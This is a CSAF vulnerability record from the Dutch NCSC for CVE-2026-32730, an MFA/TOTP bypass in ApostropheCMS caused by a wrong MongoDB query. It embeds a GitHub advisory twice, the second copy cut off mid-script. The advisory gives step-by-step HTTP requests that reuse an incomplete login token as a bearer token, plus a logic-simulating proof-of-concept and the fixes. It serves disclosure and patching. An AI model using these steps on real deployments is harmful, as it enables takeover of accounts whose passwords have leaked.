{
    "document": {
        "category": "csaf_base",
        "csaf_version": "2.0",
        "distribution": {
            "tlp": {
                "label": "WHITE"
            }
        },
        "lang": "en",
        "notes": [
            {
                "category": "legal_disclaimer",
                "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings."
            }
        ],
        "publisher": {
            "category": "coordinator",
            "contact_details": "cert@ncsc.nl",
            "name": "National Cyber Security Centre",
            "namespace": "https://www.ncsc.nl/"
        },
        "title": "CVE-2026-32730",
        "tracking": {
            "current_release_date": "2026-03-24T22:26:37.472969Z",
            "generator": {
                "date": "2026-02-17T15:00:00Z",
                "engine": {
                    "name": "V.E.L.M.A",
                    "version": "1.7"
                }
            },
            "id": "CVE-2026-32730",
            "initial_release_date": "2026-03-18T20:44:23.245535Z",
            "revision_history": [
                {
                    "date": "2026-03-18T20:44:23.245535Z",
                    "number": "1",
                    "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)."
                },
                {
                    "date": "2026-03-18T20:44:26.089681Z",
                    "number": "2",
                    "summary": "NCSC Score created."
                },
                {
                    "date": "2026-03-18T22:38:46.250004Z",
                    "number": "3",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| References created (1).| CWES updated (1)."
                },
                {
                    "date": "2026-03-18T22:38:52.769177Z",
                    "number": "4",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-18T23:25:09.837952Z",
                    "number": "5",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (1).| CWES updated (1)."
                },
                {
                    "date": "2026-03-18T23:25:12.060923Z",
                    "number": "6",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-19T07:35:44.366098Z",
                    "number": "7",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-19T11:40:02.383075Z",
                    "number": "8",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)."
                },
                {
                    "date": "2026-03-19T21:13:21.006256Z",
                    "number": "9",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (1).| CWES updated (1)."
                },
                {
                    "date": "2026-03-20T09:29:38.205993Z",
                    "number": "10",
                    "summary": "Source connected.| CVE status created. (valid)| EPSS created."
                },
                {
                    "date": "2026-03-20T10:11:40.905639Z",
                    "number": "11",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (1).| References created (1).| CWES updated (1).| Unknown change."
                },
                {
                    "date": "2026-03-20T19:55:26.392423Z",
                    "number": "12",
                    "summary": "References created (1)."
                },
                {
                    "date": "2026-03-24T22:24:57.208127Z",
                    "number": "13",
                    "summary": "Products created (1).| Product Identifiers created (1).| Exploits created (1)."
                },
                {
                    "date": "2026-03-24T22:25:00.616120Z",
                    "number": "14",
                    "summary": "NCSC Score updated."
                }
            ],
            "status": "interim",
            "version": "14"
        }
    },
    "product_tree": {
        "branches": [
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<4.28.0",
                                "product": {
                                    "name": "vers:unknown/<4.28.0",
                                    "product_id": "CSAFPID-5903128",
                                    "product_identification_helper": {
                                        "cpe": "cpe:2.3:a:apostrophecms:apostrophecms:*:*:*:*:*:*:*:*"
                                    }
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "ApostropheCMS"
                    },
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<4.28.0",
                                "product": {
                                    "name": "vers:unknown/<4.28.0",
                                    "product_id": "CSAFPID-5845509"
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "apostrophe"
                    }
                ],
                "category": "vendor",
                "name": "ApostropheCMS"
            }
        ]
    },
    "vulnerabilities": [
        {
            "cve": "CVE-2026-32730",
            "cwe": {
                "id": "CWE-305",
                "name": "Authentication Bypass by Primary Weakness"
            },
            "notes": [
                {
                    "category": "description",
                    "text": "# MFA/TOTP Bypass via Incorrect MongoDB Query in Bearer Token Middleware\n\n## Summary\n\nThe bearer token authentication middleware in `@apostrophecms/express/index.js` (lines 386-389) contains an incorrect MongoDB query that allows incomplete login tokens — where the password was verified but TOTP/MFA requirements were NOT — to be used as fully authenticated bearer tokens. This completely bypasses multi-factor authentication for any ApostropheCMS deployment using `@apostrophecms/login-totp` or any custom `afterPasswordVerified` login requirement.\n\n## Severity\n\nThe AC is High because the attacker must first obtain the victim's password. However, the entire purpose of MFA is to protect accounts when passwords are compromised (credential stuffing, phishing, database breaches), so this bypass negates the security control entirely.\n\n## Affected Versions\n\nAll versions of ApostropheCMS from 3.0.0 to 4.27.1, when used with `@apostrophecms/login-totp` or any custom `afterPasswordVerified` requirement.\n\n## Root Cause\n\nIn `packages/apostrophe/modules/@apostrophecms/express/index.js`, the `getBearer()` function (line 377) queries MongoDB for valid bearer tokens. The query at lines 386-389 is intended to only match tokens where the `requirementsToVerify` array is either absent (no MFA configured) or empty (all MFA requirements completed):\n\n```javascript\nasync function getBearer() {\n    const bearer = await self.apos.login.bearerTokens.findOne({\n        _id: req.token,\n        expires: { $gte: new Date() },\n        // requirementsToVerify array should be empty or inexistant\n        // for the token to be usable to log in.\n        $or: [\n            { requirementsToVerify: { $exists: false } },\n            { requirementsToVerify: { $ne: [] } }  // BUG\n        ]\n    });\n    return bearer && bearer.userId;\n}\n```\n\nThe comment correctly states the intent: the array should be \"empty or inexistant.\" However, the MongoDB operator `$ne: []` matches documents where `requirementsToVerify` is **NOT** an empty array — meaning it matches tokens that still have **unverified requirements**. This is the exact opposite of the intended behavior.\n\n| Token State | `requirementsToVerify` | `$ne: []` result | Should match? |\n|---|---|---|---|\n| No MFA configured | *(field absent)* | N/A (`$exists: false` matches) | Yes |\n| TOTP pending | `[\"AposTotp\"]` | `true` (BUG!) | **No** |\n| All verified | `[]` | `false` (BUG!) | **Yes** |\n| Field removed (`$unset`) | *(field absent)* | N/A (`$exists: false` matches) | Yes |\n\n## Attack Scenario\n\n### Prerequisites\n- ApostropheCMS instance with `@apostrophecms/login-totp` enabled\n- Attacker knows the victim's username and password (e.g., from credential stuffing, phishing, or a database breach)\n- Attacker does NOT know the victim's TOTP secret/code\n\n### Steps\n\n1. **Authenticate with password only:**\n   ```\n   POST /api/v1/@apostrophecms/login/login\n   Content-Type: application/json\n\n   {\"username\": \"admin\", \"password\": \"correct_password\", \"session\": false}\n   ```\n\n2. **Receive incomplete token** (server correctly requires TOTP):\n   ```json\n   {\"incompleteToken\": \"clxxxxxxxxxxxxxxxxxxxxxxxxx\"}\n   ```\n\n3. **Use incomplete token as bearer token** (bypassing TOTP):\n   ```\n   GET /api/v1/@apostrophecms/page\n   Authorization: Bearer clxxxxxxxxxxxxxxxxxxxxxxxxx\n   ```\n\n4. **Full authenticated access granted.** The bearer token middleware matches the token because `requirementsToVerify: [\"AposTotp\"]` satisfies `$ne: []`. The attacker has complete API access as the victim without ever providing a TOTP code.\n\n## Proof of Concept\n\nSee `mfa-bypass-poc.js` — demonstrates the query logic bug with all token states. Run:\n\n```bash\n#!/usr/bin/env node\n/**\n * PoC: MFA/TOTP Bypass via Incorrect MongoDB Query in Bearer Token Middleware\n *\n * ApostropheCMS's bearer token middleware in @apostrophecms/express/index.js\n * has a logic error in the MongoDB query that validates bearer tokens.\n *\n * The comment says:\n *   \"requirementsToVerify array should be empty or inexistant\n *    for the token to be usable to log in.\"\n *\n * But the actual query uses `$ne: []` (NOT equal to empty array),\n * which matches tokens WITH unverified requirements — the exact opposite\n * of the intended behavior.\n *\n * This allows an attacker who knows a user's password (but NOT their\n * TOTP code) to use the \"incompleteToken\" returned after password\n * verification as a fully authenticated bearer token, bypassing MFA.\n *\n * Affected: ApostropheCMS with @apostrophecms/login-totp (or any\n * custom afterPasswordVerified requirement)\n *\n * File: packages/apostrophe/modules/@apostrophecms/express/index.js:386-389\n */\n\nconst RED = '\\x1b[91m';\nconst GREEN = '\\x1b[92m';\nconst YELLOW = '\\x1b[93m';\nconst CYAN = '\\x1b[96m';\nconst RESET = '\\x1b[0m';\nconst BOLD = '\\x1b[1m';\n\n// Simulate MongoDB's $ne operator behavior\nfunction mongoNe(fieldValue, compareValue) {\n  // MongoDB $ne: true if field value is NOT equal to compareValue\n  // For arrays, MongoDB compares by value\n  if (Array.isArray(fieldValue) && Array.isArray(compareValue)) {\n    if (fieldValue.length !== compareValue.length) return true;\n    return fieldValue.some((v, i) => v !== compareValue[i]);\n  }\n  return fieldValue !== compareValue;\n}\n\n// Simulate MongoDB's $exists operator\nfunction mongoExists(doc, field, shouldExist) {\n  const exists = field in doc;\n  return exists === shouldExist;\n}\n\n// Simulate MongoDB's $size operator\nfunction mongoSize(fieldValue, size) {\n  if (!Array.isArray(fieldValue)) return false;\n  return fieldValue.length === size;\n}\n\n// Simulate the VULNERABLE bearer token query (line 386-389)\nfunction vulnerableQuery(token) {\n  // $or: [\n  //   { requirementsToVerify: { $exists: false } },\n  //   { requirementsToVerify: { $ne: [] } }     <-- BUG\n  // ]\n  const cond1 = mongoExists(token, 'requirementsToVerify', false);\n  const cond2 = ('requirementsToVerify' in token)\n    ? mongoNe(token.requirementsToVerify, [])\n    : false;\n  return cond1 || cond2;\n}\n\n// Simulate the FIXED bearer token query\nfunction fixedQuery(token) {\n  // $or: [\n  //   { requirementsToVerify: { $exists: false } },\n  //   { requirementsToVerify: { $size: 0 } }    <-- FIX\n  // ]\n  const cond1 = mongoExists(token, 'requirementsToVerify', false);\n  const cond2 = ('requirementsToVerify' in token)\n    ? mongoSize(token.requirementsToVerify, 0)\n    : false;\n  return cond1 || cond2;\n}\n\nfunction banner() {\n  console.log(`${CYAN}${BOLD}\n╔══════════════════════════════════════════════════════════════════╗\n║  ApostropheCMS MFA/TOTP Bypass PoC                              ║\n║  Bearer Token Middleware — Incorrect MongoDB Query ($ne vs $eq)  ║\n║  @apostrophecms/express/index.js:386-389                         ║\n╚══════════════════════════════════════════════════════════════════╝${RESET}\n`);\n}\n\nfunction test(name, token, expectedVuln, expectedFixed) {\n  const vulnResult = vulnerableQuery(token);\n  const fixedResult = fixedQuery(token);\n\n  const vulnCorrect = vulnResult === expectedVuln;\n  const fixedCorrect = fixedResult === expectedFixed;\n\n  console.log(`${BOLD}${name}${RESET}`);\n  console.log(`  Token: ${JSON.stringify(token)}`);\n  console.log(`  Vulnerable query matches: ${vulnResult ? GREEN + 'YES' : RED + 'NO'}${RESET} (${vulnCorrect ? 'expected' : RED + 'UNEXPECTED!' + RESET})`);\n  console.log(`  Fixed query matches:      ${fixedResult ? GREEN + 'YES' : RED + 'NO'}${RESET} (${fixedCorrect ? 'expected' : RED + 'UNEXPECTED!' + RESET})`);\n\n  if (vulnResult && !fixedResult) {\n    console.log(`  ${RED}=> BYPASS: Token accepted by vulnerable code but rejected by fix!${RESET}`);\n  }\n  console.log();\n  return vulnResult && !fixedResult;\n}\n\n// ——— Main ———\nbanner();\nconst bypasses = [];\n\nconsole.log(`${BOLD}--- Token States During Login Flow ---${RESET}\\n`);\n\n// 1. Normal bearer token (no MFA configured)\n// Created by initialLogin when there are no lateRequirements\n// Token: { _id: \"xxx\", userId: \"yyy\", expires: Date }\n// No requirementsToVerify field at all\ntest(\n  '[Token 1] Normal bearer token (no MFA) — should be ACCEPTED',\n  { _id: 'token1', userId: 'user1', expires: new Date(Date.now() + 86400000) },\n  true,  // vulnerable: accepted (correct)\n  true   // fixed: accepted (correct)\n);\n\n// 2. Incomplete token — password verified, TOTP NOT verified\n// Created by initialLogin when lateRequirements exist\n// Token: { _id: \"xxx\", userId: \"yyy\", requirementsToVerify: [\"AposTotp\"], expires: Date }\nconst bypass1 = test(\n  '[Token 2] Incomplete token (TOTP NOT verified) — should be REJECTED',\n  { _id: 'token2', userId: 'user2', requirementsToVerify: ['AposTotp'], expires: new Date(Date.now() + 3600000) },\n  true,  // vulnerable: ACCEPTED (BUG! $ne:[] matches ['AposTotp'])\n  false  // fixed: rejected (correct)\n);\nif (bypass1) bypasses.push('TOTP bypass');\n\n// 3. Token after all requirements verified (empty array, before $unset)\n// After requirementVerify pulls each requirement from the array\n// Token: { _id: \"xxx\", userId: \"yyy\", requirementsToVerify: [], expires: Date }\ntest(\n  '[Token 3] All requirements verified (empty array) — should be ACCEPTED',\n  { _id: 'token3', userId: 'user3', requirementsToVerify: [], expires: new Date(Date.now() + 86400000) },\n  false, // vulnerable: REJECTED (BUG! $ne:[] does NOT match [])\n  true   // fixed: accepted (correct)\n);\n\n// 4. Finalized token (requirementsToVerify removed via $unset)\n// After finalizeIncompleteLogin calls $unset\n// Token: { _id: \"xxx\", userId: \"yyy\", expires: Date }\ntest(\n  '[Token 4] Finalized token ($unset completed) — should be ACCEPTED',\n  { _id: 'token4', userId: 'user4', expires: new Date(Date.now() + 86400000) },\n  true,  // vulnerable: accepted (correct)\n  true   // fixed: accepted (correct)\n);\n\n// 5. Multiple unverified requirements\nconst bypass2 = test(\n  '[Token 5] Multiple unverified requirements — should be REJECTED',\n  { _id: 'token5', userId: 'user5', requirementsToVerify: ['AposTotp', 'CustomMFA'], expires: new Date(Date.now() + 3600000) },\n  true,  // vulnerable: ACCEPTED (BUG!)\n  false  // fixed: rejected (correct)\n);\nif (bypass2) bypasses.push('Multi-requirement bypass');\n\n// Attack scenario\nconsole.log(`${BOLD}--- Attack Scenario ---${RESET}\\n`);\nconsole.log(`  ${YELLOW}Prerequisites:${RESET}`);\nconsole.log(`    - ApostropheCMS instance with @apostrophecms/login-totp enabled`);\nconsole.log(`    - Attacker knows victim's username and password`);\nconsole.log(`    - Attacker does NOT know victim's TOTP code\\n`);\n\nconsole.log(`  ${YELLOW}Step 1:${RESET} Attacker sends login request with valid credentials`);\nconsole.log(`    POST /api/v1/@apostrophecms/login/login`);\nconsole.log(`    {\"username\": \"admin\", \"password\": \"correct_password\", \"session\": false}\\n`);\n\nconsole.log(`  ${YELLOW}Step 2:${RESET} Server verifies password, returns incomplete token`);\nconsole.log(`    Response: {\"incompleteToken\": \"clxxxxxxxxxxxxxxxxxxxxxxxxx\"}`);\nconsole.log(`    (TOTP verification still required)\\n`);\n\nconsole.log(`  ${YELLOW}Step 3:${RESET} Attacker uses incompleteToken as a Bearer token`);\nconsole.log(`    GET /api/v1/@apostrophecms/page`);\nconsole.log(`    Authorization: Bearer clxxxxxxxxxxxxxxxxxxxxxxxxx\\n`);\n\nconsole.log(`  ${YELLOW}Step 4:${RESET} Bearer token middleware runs getBearer() query`);\nconsole.log(`    MongoDB query: {`);\nconsole.log(`      _id: \"clxxxxxxxxxxxxxxxxxxxxxxxxx\",`);\nconsole.log(`      expires: { $gte: new Date() },`);\nconsole.log(`      $or: [`);\nconsole.log(`        { requirementsToVerify: { $exists: false } },`);\nconsole.log(`        { requirementsToVerify: { ${RED}$ne: []${RESET} } }  // BUG!`);\nconsole.log(`      ]`);\nconsole.log(`    }`);\nconsole.log(`    The token has requirementsToVerify: [\"AposTotp\"]`);\nconsole.log(`    $ne: [] matches because [\"AposTotp\"] !== []\\n`);\n\nconsole.log(`  ${RED}Step 5: Attacker is fully authenticated as the victim!${RESET}`);\nconsole.log(`    req.user is set, req.csrfExempt = true`);\nconsole.log(`    Full API access without TOTP verification\\n`);\n\n// Summary\nconsole.log(`${BOLD}${'='.repeat(64)}`);\nconsole.log(`Summary`);\nconsole.log(`${'='.repeat(64)}${RESET}`);\nconsole.log(`  ${bypasses.length} bypass vector(s) confirmed: ${bypasses.join(', ')}\\n`);\nconsole.log(`  ${YELLOW}Root Cause:${RESET} @apostrophecms/express/index.js line 388`);\nconsole.log(`  The MongoDB query uses $ne: [] which matches NON-empty arrays.`);\nconsole.log(`  The comment says the array should be \"empty or inexistant\",`);\nconsole.log(`  but $ne: [] matches exactly the opposite — non-empty arrays.\\n`);\nconsole.log(`  ${YELLOW}Vulnerable code:${RESET}`);\nconsole.log(`    $or: [`);\nconsole.log(`      { requirementsToVerify: { $exists: false } },`);\nconsole.log(`      { requirementsToVerify: { $ne: [] } }  // BUG`);\nconsole.log(`    ]\\n`);\nconsole.log(`  ${YELLOW}Fixed code:${RESET}`);\nconsole.log(`    $or: [`);\nconsole.log(`      { requirementsToVerify: { $exists: false } },`);\nconsole.log(`      { requirementsToVerify: { $size: 0 } }  // FIX`);\nconsole.log(`    ]\\n`);\nconsole.log(`  ${RED}Impact:${RESET} Complete MFA bypass. An attacker who knows a user's`);\nconsole.log(`  password can skip TOTP verification and gain full authenticated`);\nconsole.log(`  API access by using the incompleteToken as a bearer token.\\n`);\nconsole.log(`  ${YELLOW}Additional Bug:${RESET} The same $ne:[] also causes a secondary`);\nconsole.log(`  issue where tokens with ALL requirements verified (empty array,`);\nconsole.log(`  before the $unset runs) are incorrectly REJECTED. This is masked`);\nconsole.log(`  by the fact that finalizeIncompleteLogin uses $unset to remove`);\nconsole.log(`  the field entirely, so the $exists: false path is used instead.`);\nconsole.log();\nconsole.log();\n\n```\n\nBoth bypass vectors (single and multiple unverified requirements) confirmed.\n\n## Amplifying Bug: Incorrect Token Deletion in `finalizeIncompleteLogin`\n\nA second bug in `@apostrophecms/login/index.js` (lines 728-729, 735-736) amplifies the MFA bypass. When `finalizeIncompleteLogin` attempts to delete the incomplete token, it uses the wrong identifier:\n\n```javascript\nawait self.bearerTokens.removeOne({\n    _id: token.userId  // BUG: should be token._id\n});\n```\n\nThe token's `_id` is a CUID (e.g., `clxxxxxxxxx`), but `token.userId` is the user's document ID. This means:\n\n1. The incomplete token is **never deleted** from the database, even after a legitimate MFA-verified login\n2. Combined with the `$ne: []` bug, the incomplete token remains usable as a bearer token for its full lifetime (default: 1 hour)\n3. Even if the legitimate user completes TOTP and logs in properly, the incomplete token persists\n\nThis bug appears at two locations in `finalizeIncompleteLogin`:\n- Line 728-729: Error case (user not found)\n- Line 735-736: Success case (session-based login after MFA)\n\n## Recommended Fix\n\n### Fix 1: Bearer token query (express/index.js line 388)\n\nReplace `$ne: []` with `$size: 0`:\n\n```javascript\n$or: [\n    { requirementsToVerify: { $exists: false } },\n    { requirementsToVerify: { $size: 0 } }  // FIX: match empty array only\n]\n```\n\nThis ensures only tokens with no remaining requirements (empty array or absent field) are accepted as valid bearer tokens.\n\n### Fix 2: Token deletion (login/index.js lines 728-729, 735-736)\n\nReplace `token.userId` with `token._id`:\n\n```javascript\nawait self.bearerTokens.removeOne({\n    _id: token._id  // FIX: use the token's actual ID\n});\n```",
                    "title": "github - https://github.com/advisories/GHSA-v9xm-ffx2-7h35"
                },
                {
                    "category": "description",
                    "text": "ApostropheCMS is an open-source content management framework. Prior to version 4.28.0, the bearer token authentication middleware in `@apostrophecms/express/index.js` (lines 386-389) contains an incorrect MongoDB query that allows incomplete login tokens — where the password was verified but TOTP/MFA requirements were NOT — to be used as fully authenticated bearer tokens. This completely bypasses multi-factor authentication for any ApostropheCMS deployment using `@apostrophecms/login-totp` or any custom `afterPasswordVerified` login requirement. Version 4.28.0 fixes the issue.",
                    "title": "cveprojectv5 - https://www.cve.org/CVERecord?id=CVE-2026-32730"
                },
                {
                    "category": "description",
                    "text": "ApostropheCMS is an open-source content management framework. Prior to version 4.28.0, the bearer token authentication middleware in `@apostrophecms/express/index.js` (lines 386-389) contains an incorrect MongoDB query that allows incomplete login tokens — where the password was verified but TOTP/MFA requirements were NOT — to be used as fully authenticated bearer tokens. This completely bypasses multi-factor authentication for any ApostropheCMS deployment using `@apostrophecms/login-totp` or any custom `afterPasswordVerified` login requirement. Version 4.28.0 fixes the issue.",
                    "title": "nvd - https://nvd.nist.gov/vuln/detail/CVE-2026-32730"
                },
                {
                    "category": "description",
                    "text": "# MFA/TOTP Bypass via Incorrect MongoDB Query in Bearer Token Middleware\n\n## Summary\n\nThe bearer token authentication middleware in `@apostrophecms/express/index.js` (lines 386-389) contains an incorrect MongoDB query that allows incomplete login tokens — where the password was verified but TOTP/MFA requirements were NOT — to be used as fully authenticated bearer tokens. This completely bypasses multi-factor authentication for any ApostropheCMS deployment using `@apostrophecms/login-totp` or any custom `afterPasswordVerified` login requirement.\n\n## Severity\n\nThe AC is High because the attacker must first obtain the victim's password. However, the entire purpose of MFA is to protect accounts when passwords are compromised (credential stuffing, phishing, database breaches), so this bypass negates the security control entirely.\n\n## Affected Versions\n\nAll versions of ApostropheCMS from 3.0.0 to 4.27.1, when used with `@apostrophecms/login-totp` or any custom `afterPasswordVerified` requirement.\n\n## Root Cause\n\nIn `packages/apostrophe/modules/@apostrophecms/express/index.js`, the `getBearer()` function (line 377) queries MongoDB for valid bearer tokens. The query at lines 386-389 is intended to only match tokens where the `requirementsToVerify` array is either absent (no MFA configured) or empty (all MFA requirements completed):\n\n```javascript\nasync function getBearer() {\n    const bearer = await self.apos.login.bearerTokens.findOne({\n        _id: req.token,\n        expires: { $gte: new Date() },\n        // requirementsToVerify array should be empty or inexistant\n        // for the token to be usable to log in.\n        $or: [\n            { requirementsToVerify: { $exists: false } },\n            { requirementsToVerify: { $ne: [] } }  // BUG\n        ]\n    });\n    return bearer && bearer.userId;\n}\n```\n\nThe comment correctly states the intent: the array should be \"empty or inexistant.\" However, the MongoDB operator `$ne: []` matches documents where `requirementsToVerify` is **NOT** an empty array — meaning it matches tokens that still have **unverified requirements**. This is the exact opposite of the intended behavior.\n\n| Token State | `requirementsToVerify` | `$ne: []` result | Should match? |\n|---|---|---|---|\n| No MFA configured | *(field absent)* | N/A (`$exists: false` matches) | Yes |\n| TOTP pending | `[\"AposTotp\"]` | `true` (BUG!) | **No** |\n| All verified | `[]` | `false` (BUG!) | **Yes** |\n| Field removed (`$unset`) | *(field absent)* | N/A (`$exists: false` matches) | Yes |\n\n## Attack Scenario\n\n### Prerequisites\n- ApostropheCMS instance with `@apostrophecms/login-totp` enabled\n- Attacker knows the victim's username and password (e.g., from credential stuffing, phishing, or a database breach)\n- Attacker does NOT know the victim's TOTP secret/code\n\n### Steps\n\n1. **Authenticate with password only:**\n   ```\n   POST /api/v1/@apostrophecms/login/login\n   Content-Type: application/json\n\n   {\"username\": \"admin\", \"password\": \"correct_password\", \"session\": false}\n   ```\n\n2. **Receive incomplete token** (server correctly requires TOTP):\n   ```json\n   {\"incompleteToken\": \"clxxxxxxxxxxxxxxxxxxxxxxxxx\"}\n   ```\n\n3. **Use incomplete token as bearer token** (bypassing TOTP):\n   ```\n   GET /api/v1/@apostrophecms/page\n   Authorization: Bearer clxxxxxxxxxxxxxxxxxxxxxxxxx\n   ```\n\n4. **Full authenticated access granted.** The bearer token middleware matches the token because `requirementsToVerify: [\"AposTotp\"]` satisfies `$ne: []`. The attacker has complete API access as the victim without ever providing a TOTP code.\n\n## Proof of Concept\n\nSee `mfa-bypass-poc.js` — demonstrates the query logic bug with all token states. Run:\n\n```bash\n#!/usr/bin/env node\n/**\n * PoC: MFA/TOTP Bypass via Incorrect MongoDB Query in Bearer Token Middleware\n *\n * ApostropheCMS's bearer token middleware in @apostrophecms/express/index.js\n * has a logic error in the MongoDB query that validates bearer tokens.\n *\n * The comment says:\n *   \"requirementsToVerify array should be empty or inexistant\n *    for the token to be usable to log in.\"\n *\n * But the actual query uses `$ne: []` (NOT equal to empty array),\n * which matches tokens WITH unverified requirements — the exact opposite\n * of the intended behavior.\n *\n * This allows an attacker who knows a user's password (but NOT their\n * TOTP code) to use the \"incompleteToken\" returned after password\n * verification as a fully authenticated bearer token, bypassing MFA.\n *\n * Affected: ApostropheCMS with @apostrophecms/login-totp (or any\n * custom afterPasswordVerified requirement)\n *\n * File: packages/apostrophe/modules/@apostrophecms/express/index.js:386-389\n */\n\nconst RED = '\\x1b[91m';\nconst GREEN = '\\x1b[92m';\nconst YELLOW = '\\x1b[93m';\nconst CYAN = '\\x1b[96m';\nconst RESET = '\\x1b[0m';\nconst BOLD = '\\x1b[1m';\n\n// Simulate MongoDB's $ne operator behavior\nfunction mongoNe(fieldValue, compareValue) {\n  // MongoDB $ne: true if field value is NOT equal to compareValue\n  // For arrays, MongoDB compares by value\n  if (Array.isArray(fieldValue) && Array.isArray(compareValue)) {\n    if (fieldValue.length !== compareValue.length) return true;\n    return fieldValue.some((v, i) => v !== compareValue[i]);\n  }\n  return fieldValue !== compareValue;\n}\n\n// Simulate MongoDB's $exists operator\nfunction mongoExists(doc, field, shouldExist) {\n  const exists = field in doc;\n  return exists === shouldExist;\n}\n\n// Simulate MongoDB's $size operator\nfunction mongoSize(fieldValue, size) {\n  if (!Array.isArray(fieldValue)) return false;\n  return fieldValue.length === size;\n}\n\n// Simulate the VULNERABLE bearer token query (line 386-389)\nfunction vulnerableQuery(token) {\n  // $or: [\n  //   { requirementsToVerify: { $exists: false } },\n  //   { requirementsToVerify: { $ne: [] } }     <-- BUG\n  // ]\n  const cond1 = mongoExists(token, 'requirementsToVerify', false);\n  const cond2 = ('requirementsToVerify' in token)\n    ? mongoNe(token.requirementsToVerify, [])\n    : false;\n  return cond1 || cond2;\n}\n\n// Simulate the FIXED bearer token query\nfunction fixedQuery(token) {\n  // $or: [\n  //   { requirementsToVerify: { $exists: false } },\n  //   { requirementsToVerify: { $size: 0 } }    <-- FIX\n  // ]\n  const cond1 = mongoExists(token, 'requirementsToVerify', false);\n  const cond2 = ('requirementsToVerify' in token)\n    ? mongoSize(token.requirementsToVerify, 0)\n    : false;\n  return cond1 || cond2;\n}\n\nfunction banner() {\n  console.log(`${CYAN}${BOLD}\n╔══════════════════════════════════════════════════════════════════╗\n║  ApostropheCMS MFA/TOTP Bypass PoC                              ║\n║  Bearer Token Middleware — Incorrect MongoDB Query ($ne vs $eq)  ║\n║  @apostrophecms/express/index.js:386-389                         ║\n╚══════════════════════════════════════════════════════════════════╝${RESET}\n`);\n}\n\nfunction test(name, token, expectedVuln, expectedFixed) {\n  const vulnResult = vulnerableQuery(token);\n  const fixedResult = fixedQuery(token);\n\n  const vulnCorrect = vulnResult === expectedVuln;\n  const fixedCorrect = fixedResult === expectedFixed;\n\n  console.log(`${BOLD}${name}${RESET}`);\n  console.log(`  Token: ${JSON.stringify(token)}`);\n  console.log(`  Vulnerable query matches: ${vulnResult ? GREEN + 'YES' : RED + 'NO'}${RESET} (${vulnCorrect ? 'expected' : RED + 'UNEXPECTED!' + RESET})`);\n  console.log(`  Fixed query matches:      ${fixedResult ? GREEN + 'YES' : RED + 'NO'}${RESET} (${fixedCorrect ? 'expected' : RED + 'UNEXPECTED!' + RESET})`);\n\n  if (vulnResult && !fixedResult) {\n    console.log(`  ${RED}=> BYPASS: Token accepted by vulnerable code but rejected by fix!${RESET}`);\n  }\n  console.log();\n  return vulnResult && !fixedResult;\n}\n\n// ——— Main ———\nbanner();\nconst bypasses = [];\n\nconsole.log(`${BOLD}--- Token States During Login Flow ---${RESET}\\n`);\n\n// 1. Normal bearer token (no MFA configured)\n// Created by initialLogin when there are no lateRequirements\n// Token: { _id: \"xxx\", userId: \"yyy\", expires: Date }\n// No requirementsToVerify field at all\ntest(\n  '[Token 1] Normal bearer token (no MFA) — should be ACCEPTED',\n  { _id: 'token1', userId: 'user1', expires: new Date(Date.now() + 86400000) },\n  true,  // vulnerable: accepted (correct)\n  true   // fixed: accepted (correct)\n);\n\n// 2. Incomplete token — password verified, TOTP NOT verified\n// Created by initialLogin when lateRequirements exist\n// Token: { _id: \"xxx\", userId: \"yyy\", requirementsToVerify: [\"AposTotp\"], expires: Date }\nconst bypass1 = test(\n  '[Token 2] Incomplete token (TOTP NOT verified) — should be REJECTED',\n  { _id: 'token2', userId: 'user2', requirementsToVerify: ['AposTotp'], expires: new Date(Date.now() + 3600000) },\n  true,  // vulnerable: ACCEPTED (BUG! $ne:[] matches ['AposTotp'])\n  false  // fixed: rejected (correct)\n);\nif (bypass1) bypasses.push('TOTP bypass');\n\n// 3. Token after all requirements verified (empty array, before $unset)\n// After requirementVerify pulls each requirement from the array\n// Token: { _id: \"xxx\", userId: \"yyy\", requirementsToVerify: [], expires: Date }\ntest(\n  '[Token 3] All requirements verified (empty array) — should be ACCEPTED',\n  { _id: 'token3', userId: 'user3', requirementsToVerify: [], expires: new Date(Date.now() + 86400000) },\n  false, // vulnerable: REJECTED (BUG! $ne:[] does NOT match [])\n  true   // fixed: accepted (correct)\n);\n\n// 4. Finalized token (requirementsToVerify removed via $unset)\n// After finalizeIncompleteLogin calls $unset\n// Token: { _id: \"xxx\", userId: \"yyy\", expires: Date }\ntest(\n  '[Token 4] Finalized token ($unset completed) — should be ACCEPTED',\n  { _id: 'token4', userId: 'user4', expires: new Date(Date.now() + 86400000) },\n  true,  // vulnerable: accepted (correct)\n  true   // fixed: accepted (correct)\n);\n\n// 5. Multiple unverified requirements\nconst bypass2 = test(\n  '[Token 5] Multiple unverified requirements — should be REJECTED',\n  { 